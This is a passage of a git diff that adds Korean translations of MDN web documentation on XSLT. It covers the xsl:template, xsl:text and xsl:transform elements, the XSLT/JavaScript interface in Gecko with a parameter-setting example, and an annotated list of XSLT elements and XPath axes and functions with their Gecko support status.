+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>필수 최외곽 스타일시트 요소.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#stylesheet-element">XSLT section 2.2, Stylesheet Element</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>조금 지원. 위 해설을 보세요.</p>
diff --git a/files/ko/web/xslt/template/index.html b/files/ko/web/xslt/template/index.html
new file mode 100644
index 0000000000..1ce4a66d2b
--- /dev/null
+++ b/files/ko/web/xslt/template/index.html
@@ -0,0 +1,51 @@
+---
+title: template
+slug: Web/XSLT/template
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/template
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:template&gt;</code> 요소는 출력 생성 템플릿을 정의합니다. 이 요소는 match 속성이나 name 속성 집합이 있어야 합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:template
+ match=PATTERN
+ name=NAME
+ mode=NAME
+ priority=NUMBER&gt;
+ &lt;xsl:param&gt; [optional]
+ TEMPLATE
+&lt;/xsl:template&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>match</code></dt>
+ <dd>
+ 이 템플릿을 쓰면 좋을 요소를 결정하는 패턴을 지정합니다. <code>name</code> 속성이 없다면, 필수 속성입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>name</code></dt>
+ <dd>
+ <code>&lt;xsl:call-template&gt;</code> 요소가 호출할 수 있는 이 템플릿에 이름을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>mode</code></dt>
+ <dd>
+ 이 템플릿에 <code>&lt;xsl:apply-templates&gt;</code> 요소의 속성과 일치할 수 있는 특유한 모드를 지정합니다. 이는 같은 정보를 다양한 방식으로 처리하는데 유용합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>priority</code></dt>
+ <dd>
+ 이 템플릿에 숫자로 된 우선권을 지정합니다. 이는 <code>Infinity</code>와 다른 아무 숫자일 수 있습니다. 처리기는 하나 이상의 템플릿이 같은 노드와 일치할 때 이 숫자를 씁니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Defining-Template-Rules">XSLT section 5.3, Defining Template Rules</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/text/index.html b/files/ko/web/xslt/text/index.html
new file mode 100644
index 0000000000..71bd6eceda
--- /dev/null
+++ b/files/ko/web/xslt/text/index.html
@@ -0,0 +1,28 @@
+---
+title: text
+slug: Web/XSLT/text
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/text
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:text&gt;</code> 요소는 출력 트리에 리터럴(literal) 텍스트를 씁니다. <code>#PCDATA</code>, 리터럴 텍스트, 엔티티 참조를 포함할 지도 모릅니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre>&lt;xsl:text disable-output-escaping="yes" | "no"&gt;
+ TEXT
+&lt;/xsl:text&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>disable-output-escaping</code> (Netscape은 변환 결과를 "output" 아래에 직렬하지 않습니다. 그래서 이 속성은 본래 문맥에서는 무의미합니다. HTML 엔티티를 출력하기 위해서는, 대신 숫자값을 쓰세요. 보기 &amp;<code>nbsp</code> 대신 <code>&amp;#160</code>)</dt>
+ <dd>
+ 특수 문자를 출력에 쓸 때 해석할(escape) 지를 지정합니다. 가능한 값은 "<code>yes</code>"나 "<code>no</code>"입니다. 예를 들어, "<code>yes</code>"로 하면, &lt;tt&gt;&gt;&lt;/tt&gt; 문자의 출력은 "<code>&amp;gt</code>"가 아니라 <code>&gt;</code>입니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Creating-Text">XSLT section 7.2, Creating Text</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>적힌 대로 지원함</p>
diff --git a/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/index.html b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/index.html
new file mode 100644
index 0000000000..c3ee407348
--- /dev/null
+++ b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/index.html
@@ -0,0 +1,17 @@
+---
+title: The XSLT/JavaScript Interface in Gecko
+slug: Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko
+tags:
+ - DOM
+ - XSLT
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko
+---
+<ol>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Introduction">개요</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/JavaScript%2f%2fXSLT_Bindings">The XSLT/JavaScript Interface in Gecko:JavaScript/XSLT Bindings</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Basic_Example">The XSLT/JavaScript Interface in Gecko:Basic Example</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Setting_Parameters">The XSLT/JavaScript Interface in Gecko:Setting Parameters</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Advanced_Example">The XSLT/JavaScript Interface in Gecko:Advanced Example</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Interface_List">The XSLT/JavaScript Interface in Gecko:Interface List</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Resources">The XSLT/JavaScript Interface in Gecko:Resources</a></li>
+</ol>
diff --git a/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/introduction/index.html b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/introduction/index.html
new file mode 100644
index 0000000000..dd74a5998d
--- /dev/null
+++ b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/introduction/index.html
@@ -0,0 +1,10 @@
+---
+title: Introduction
+slug: Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Introduction
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Introduction
+---
+<h2 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h2>
+<p><a href="ko/XSLT_in_Gecko">XSLT</a>를 지원하는 현대의 브라우저를 가지고, 개발자는 XSLT가 제공하는 힘에 접근하기 위해 자바스크립트를 지금 사용할 수 있다. 자바스크립트는 웹 프로그램이 XML자료를 로드하고, XSLT를 통해 표현가능한 형태로 처리하고 존재하는 문서안에 넣는 것을 가능하게 한다. XML자료는 아무런 표현자료 없이 오직 날 정보만을 포함하므로, 다이얼업에서도 빠르게 로드할 수 있다.</p>
+<p>XSLT는 저자가 직접 문서구조를 다루는 것을 허용한다. 예로, XSLT는 요소의 재배열과 정렬을 수행한다. 또 결과 문서구조의 좀더 세분된 제어를 제공한다.</p>
+<p><a class="external" href="http://mozilla.org/releases/">Mozilla 1.2</a>현재 Gecko는 자바스크립트가 XSLT 프로세서를 만드는 것을 가능하게 한다. 이 글은 Gecko에서 XSLT/JavaScript binding을 다룬다. 이들은 Netscape 7.0x에서는 가능하지 않지만 Netscape 7.1에서는 가능하다.</p>
+<p>{{ languages( { "en": "en/The_XSLT//JavaScript_Interface_in_Gecko/Introduction" } ) }}</p>
diff --git a/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/setting_parameters/index.html b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/setting_parameters/index.html
new file mode 100644
index 0000000000..fb2f456e70
--- /dev/null
+++ b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/setting_parameters/index.html
@@ -0,0 +1,23 @@
+---
+title: Setting Parameters
+slug: Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Setting_Parameters
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Setting_Parameters
+---
+<h2 id="Parameter_.EC.84.A4.EC.A0.95" name="Parameter_.EC.84.A4.EC.A0.95">Parameter 설정</h2>
+<p>이미 코딩된 .xsl과 .xml 파일을 이용하여 변환을 실행하는 것은 꽤 쓸모있는데, .xml파일을 JavaScript로부터 설정하는 것은 좀 더 쓸모있다.예로, JavaScript와 XSLT는 XML데이터를 정렬하여 표시하는 데 쓸 수 있다. 정렬은 오름차순과 내림차순을 바꿀 수 있어야 할 것이다. XSLT는 <code>xsl:param</code> 요소를 제공하는데, 그것은 <code>xsl:stylesheet</code> 요소의 자식이다. <code>XSLTProcessor()</code>는 이 파라메터와 상호작용하기 위해 3가지 JavaScript 메소드를 제공한다: <code>setParameter</code>, <code>getParameter</code>, <code>removeParameter.</code></p>
+<p><br>
+ 그들 모두 첫번째 아규먼트로 <code>xsl:param</code> 의 namespace URI를 얻는다. (보통 그 param은 기본 namespace로 떨어져, null에 전달되어 충분하다) <code>xsl:param</code>의 local name이 두번째 아규먼트다. setParameter는 세번쩨 아규먼트를 필요로 한다 - 즉 파라미터가 맞추어질 값.</p>
+<p><small><b>그림 7 : Parameters</b></small></p>
+<pre>XSLT:
+&lt;xsl:param name="myOrder" /&gt;
+
+JavaScript:
+
+var sortVal = xsltProcessor.getParameter(null, "myOrder");
+
+if (sortVal == "" || sortVal == "descending")
+ xsltProcessor.setParameter(null, "myOrder", "ascending");
+else
+ xsltProcessor.setParameter(null, "myOrder", "descending");
+</pre>
+<p>{{ languages( { "en": "en/The_XSLT//JavaScript_Interface_in_Gecko/Setting_Parameters" } ) }}</p>
diff --git a/files/ko/web/xslt/transform/index.html b/files/ko/web/xslt/transform/index.html
new file mode 100644
index 0000000000..8071ebdad3
--- /dev/null
+++ b/files/ko/web/xslt/transform/index.html
@@ -0,0 +1,11 @@
+---
+title: transform
+slug: Web/XSLT/transform
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/transform
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:transform&gt;</code> 요소는 <code><a href="ko/XSLT/stylesheet">&lt;xsl:stylesheet&gt;</a></code> 요소와 정확히 같습니다.</p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/transforming_xml_with_xslt/index.html b/files/ko/web/xslt/transforming_xml_with_xslt/index.html
new file mode 100644
index 0000000000..05129f35b9
--- /dev/null
+++ b/files/ko/web/xslt/transforming_xml_with_xslt/index.html
@@ -0,0 +1,107 @@
+---
+title: Transforming XML with XSLT
+slug: Web/XSLT/Transforming_XML_with_XSLT
+tags:
+ - MDC Project
+ - NeedsMigration
+ - Transforming_XML_with_XSLT
+ - XSLT
+translation_of: Web/XSLT/Transforming_XML_with_XSLT
+---
+<h3 id=".EA.B0.9C.EC.9A.94"> <a href="ko/Transforming_XML_with_XSLT/An_Overview">개요</a> </h3>
+<p>내용과 겉모양의 분리가 <a href="ko/XML">XML</a>의 중요한 설계 특징입니다. XML 문서 구조는 결국 이 데이터를 어떻게 표시하는 게 좋을지에 관한 어떤 암시를 줄 필요로 방해받지 않은 내용 자체의 서로 다른 면(aspect) 사이의 중요한 관계를 반영하고 명확히 하기 위해 설계했습니다. 이 지적인 구조화는 데이터 전송이 더욱 자동화되는 것만큼 특히 중요하고 네트워크로 연결된 매우 이질적인 컴퓨터 사이에 일어난다.
+</p><p>아직은 결국 XML 문서에 저장된 많은 내용을 읽는 사람에게 표시할 필요가 있습니다. 왜냐하면 브라우저가 친근하고 유연성이 높은 인터페이스를 제공하기 때문에, 그것은 XML 내용의 표시 버전 같은 이상적인 전달 메커니즘입니다. 철저하게 아주 다양한 XML 기술을 이용하게 만들었기 때문에, Mozilla는 원 XML 문서와 스타일 입히기와 클라이언트 측 처리로 인한 서버 부담을 줄이기 위해 HTML 표시에 그들을 놓기로 쓰는 특수 스타일시트 둘 다를 처리할 필요가 있는 모든 메커니즘을 자체에 통합시킵니다.
+</p><p>오늘날, Gecko(the layout engine behind Mozilla와 Firefox)는 두 형태(form)의 XML 스타일시트를 지원합니다. 겉모습(글꼴, 색, 자리들)의 기본 조절을 위해 Gecko는 <a href="ko/DHTML">DHTML</a>과 친근한 <a href="ko/CSS">CSS</a>를 씁니다. CSS1 전부와 CSS2 대부분을 지원합니다. 최근 생겨난 CSS3 표준 지원은 개발중입니다. CSS에 관한 추가 정보는 <a class="external" href="http://www.meyerweb.com/eric/css/">Eric Meyer's CSS pages</a>를 보시기 바랍니다.
+</p><p>여기서 우리의 관심은 Gecko가 지원하는 스타일시트의 두 번째 형태인 XSLT 스타일시트에 대해서입니다. XSLT는 eXtensible Stylesheet Language/Transform을 나타내고 그 이름은 적절합니다. XSLT는 스타일시트 만든 이가 그러길 바란다면 컨텐트를 모조리 다시 정리하고 다른 형식으로 변환하는 것을 포함하는 컨텐트 조작(manipulating)과 정렬이라는 중요한 두 방식으로 본래 XML 문서를 변환하게 합니다(그리고 Mozilla의 경우에, 초점은 브라우저에 표시될 수 있는 HTML로 즉시 변환하는 데 있습니다).
+</p>
+<h3 id="XSLT.2FXPath_.EC.B0.B8.EC.A1.B0"> XSLT/XPath 참조 </h3>
+<h4 id=".EC.9A.94.EC.86.8C"> <a href="ko/XSLT/Elements">요소</a> </h4>
+<ul><li> <a href="ko/XSLT/apply-imports">xsl:apply-imports</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/apply-templates">xsl:apply-templates</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/attribute">xsl:attribute</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/attribute-set">xsl:attribute-set</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/call-template">xsl:call-template</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/choose">xsl:choose</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/comment">xsl:comment</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/copy">xsl:copy</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/copy-of">xsl:copy-of</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/decimal-format">xsl:decimal-format</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/element">xsl:element</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/fallback">xsl:fallback</a> <i>(지원 안 함)</i>
+</li><li> <a href="ko/XSLT/for-each">xsl:for-each</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/if">xsl:if</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/import">xsl:import</a> <i>(대부분 지원)</i>
+</li><li> <a href="ko/XSLT/include">xsl:include</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/key">xsl:key</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/message">xsl:message</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/namespace-alias">xsl:namespace-alias</a> <i>(지원 안 함)</i>
+</li><li> <a href="ko/XSLT/number">xsl:number</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XSLT/otherwise">xsl:otherwise</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/output">xsl:output</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XSLT/param">xsl:param</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/preserve-space">xsl:preserve-space</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/processing-instruction">xsl:processing-instruction</a> </li><li> <a href="ko/XSLT/sort">xsl:sort</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/strip-space">xsl:strip-space</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/stylesheet">xsl:stylesheet</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XSLT/template">xsl:template</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/text">xsl:text</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XSLT/transform">xsl:transform</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/value-of">xsl:value-of</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XSLT/variable">xsl:variable</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/when">xsl:when</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/with-param">xsl:with-param</a> <i>(지원함)</i>
+</li></ul>
+<h4 id=".EC.B6.95"> <a href="ko/XPath/Axes">축</a> </h4>
+<ul><li> <a href="ko/XPath/Axes/ancestor">ancestor</a> </li><li> <a href="ko/XPath/Axes/ancestor-or-self">ancestor-or-self</a> </li><li> <a href="ko/XPath/Axes/attribute">attribute</a> </li><li> <a href="ko/XPath/Axes/child">child</a> </li><li> <a href="ko/XPath/Axes/descendant">descendant</a> </li><li> <a href="ko/XPath/Axes/descendant-or-self">descendant-or-self</a> </li><li> <a href="ko/XPath/Axes/following">following</a> </li><li> <a href="ko/XPath/Axes/following-sibling">following-sibling</a> </li><li> <a href="ko/XPath/Axes/namespace">namespace</a> <i>(지원 안 함)</i>
+</li><li> <a href="ko/XPath/Axes/parent">parent</a> </li><li> <a href="ko/XPath/Axes/preceding">preceding</a> </li><li> <a href="ko/XPath/Axes/preceding-sibling">preceding-sibling</a> </li><li> <a href="ko/XPath/Axes/self">self</a>
+</li></ul>
+<h4 id=".ED.95.A8.EC.88.98"> <a href="ko/XPath/Functions">함수</a> </h4>
+<ul><li> <a href="ko/XPath/Functions/boolean">boolean()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/ceiling">ceiling()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/concat">concat()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/contains">contains()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/count">count()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/current">current()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/document">document()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/element-available">element-available()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/false">false()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/floor">floor()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/format-number">format-number()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/function-available">function-available()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/generate-id">generate-id()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/id">id()</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XPath/Functions/key">key()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/lang">lang()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/last">last()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/local-name">local-name()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/name">name()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/namespace-uri">namespace-uri()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/normalize-space">normalize-space()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/not">not()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/number">number()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/position">position()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/round">round()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/starts-with">starts-with()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/string">string()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/string-length">string-lenght()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/substring">substring()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/substring-after">substring-after()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/substring-before">substring-before()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/sum">sum()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/system-property">system-property()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/translate">translate()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/true">true()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/unparsed-entity-url">unparsed-entity-url()</a> <i>(지원 안 함)</i>
+</li></ul>
+<h3 id=".EB.8D.94_.EC.9D.BD.EC.9D.84_.EA.B1.B0.EB.A6.AC"> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading">더 읽을 거리</a> </h3>
+<ul><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Books">Books</a> </li><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Online">Online</a> <ul><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#The_World_Wide_Web_Consortium">The World Wide Web Consortium</a> </li><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Portals">Portals</a> </li><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Articles">Articles</a> </li><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Tutorials.2FExamples">Tutorials/Examples</a> </li><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Mailing_Lists.2FNewsgroups">Mailing Lists/Newsgroups</a>
+</li></ul>
+</li></ul>
+<h3 id=".EC.B0.BE.EC.95.84.EB.B3.B4.EA.B8.B0"> <a href="ko/Transforming_XML_with_XSLT/Index">찾아보기</a> </h3>
+<div class="originaldocinfo">
+<h3 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4"> 원본 문서 정보 </h3>
+<ul><li> 저작권 정보: Copyright © 2001-2003 Netscape. All rights reserved.
+</li><li> 주의: 이 재판 article은 원래 DevEdge 사이트 부분이었습니다.
+</li></ul>
+</div>
+{{ languages( { "en": "en/Transforming_XML_with_XSLT" } ) }}
diff --git a/files/ko/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html b/files/ko/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html
new file mode 100644
index 0000000000..22335e7998
--- /dev/null
+++ b/files/ko/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html
@@ -0,0 +1,380 @@
+---
+title: The Netscape XSLT/XPath Reference
+slug: Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference
+translation_of: Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference
+---
+<p>다음은 W3C의 XSLT 1.0 권고안뿐만 아니라 XPath 권고안의 알맞은 절로부터 알파벳순으로 주석을 단 요소, 축, 함수 목록입니다. XSLT 처리기 개발이 진행중이고 이 문서는 기능을 확장하는 대로 갱신할 것입니다.</p>
+<h3 id=".EC.9A.94.EC.86.8C" name=".EC.9A.94.EC.86.8C"><a href="ko/XSLT/Elements">요소</a></h3>
+<h4 id="xsl:apply-imports" name="xsl:apply-imports"><a href="ko/XSLT/apply-imports">xsl:apply-imports</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:apply-templates" name="xsl:apply-templates"><a href="ko/XSLT/apply-templates">xsl:apply-templates</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:attribute" name="xsl:attribute"><a href="ko/XSLT/attribute">xsl:attribute</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:attribute-set" name="xsl:attribute-set"><a href="ko/XSLT/attribute-set">xsl:attribute-set</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:call-template" name="xsl:call-template"><a href="ko/XSLT/call-template">xsl:call-template</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:choose" name="xsl:choose"><a href="ko/XSLT/choose">xsl:choose</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:comment" name="xsl:comment"><a href="ko/XSLT/comment">xsl:comment</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:copy" name="xsl:copy"><a href="ko/XSLT/copy">xsl:copy</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:copy-of" name="xsl:copy-of"><a href="ko/XSLT/copy-of">xsl:copy-of</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:decimal-format" name="xsl:decimal-format"><a href="ko/XSLT/decimal-format">xsl:decimal-format</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:element" name="xsl:element"><a href="ko/XSLT/element">xsl:element</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:fallback" name="xsl:fallback"><a href="ko/XSLT/fallback">xsl:fallback</a></h4>
+<p>
+ <i>
+ (지원 안 함)</i>
+</p>
+<h4 id="xsl:for-each" name="xsl:for-each"><a href="ko/XSLT/for-each">xsl:for-each</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:if" name="xsl:if"><a href="ko/XSLT/if">xsl:if</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:import" name="xsl:import"><a href="ko/XSLT/import">xsl:import</a></h4>
+<p>
+ <i>
+ (대부분 지원함)</i>
+</p>
+<h4 id="xsl:include" name="xsl:include"><a href="ko/XSLT/include">xsl:include</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:key" name="xsl:key"><a href="ko/XSLT/key">xsl:key</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:message" name="xsl:message"><a href="ko/XSLT/message">xsl:message</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:namespace-alias" name="xsl:namespace-alias"><a href="ko/XSLT/namespace-alias">xsl:namespace-alias</a></h4>
+<p>
+ <i>
+ (지원 안 함)</i>
+</p>
+<h4 id="xsl:number" name="xsl:number"><a href="ko/XSLT/number">xsl:number</a></h4>
+<p>
+ <i>
+ (부분 지원함)</i>
+</p>
+<h4 id="xsl:otherwise" name="xsl:otherwise"><a href="ko/XSLT/otherwise">xsl:otherwise</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:output" name="xsl:output"><a href="ko/XSLT/output">xsl:output</a></h4>
+<p>
+ <i>
+ (부분 지원함)</i>
+</p>
+<h4 id="xsl:param" name="xsl:param"><a href="ko/XSLT/param">xsl:param</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:preserve-space" name="xsl:preserve-space"><a href="ko/XSLT/preserve-space">xsl:preserve-space</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:processing-instruction" name="xsl:processing-instruction"><a href="ko/XSLT/processing-instruction">xsl:processing-instruction</a></h4>
+<h4 id="xsl:sort" name="xsl:sort"><a href="ko/XSLT/sort">xsl:sort</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:strip-space" name="xsl:strip-space"><a href="ko/XSLT/strip-space">xsl:strip-space</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:stylesheet" name="xsl:stylesheet"><a href="ko/XSLT/stylesheet">xsl:stylesheet</a></h4>
+<p>
+ <i>
+ (부분 지원함)</i>
+</p>
+<h4 id="xsl:template" name="xsl:template"><a href="ko/XSLT/template">xsl:template</a></h4>
+<p>
+ <i>
+ (지원함)</i>
+</p>
+<h4 id="xsl:text" name="xsl:text"><a href="ko/XSLT/text">xsl:text</a></h4>
+<p>
+ <i>
+ (부분 지원함)</i>
+</p>
+<h4 id="xsl:transform" name="xsl:transform"><a href="ko/XSLT/transform">xsl:transform</a></h4>
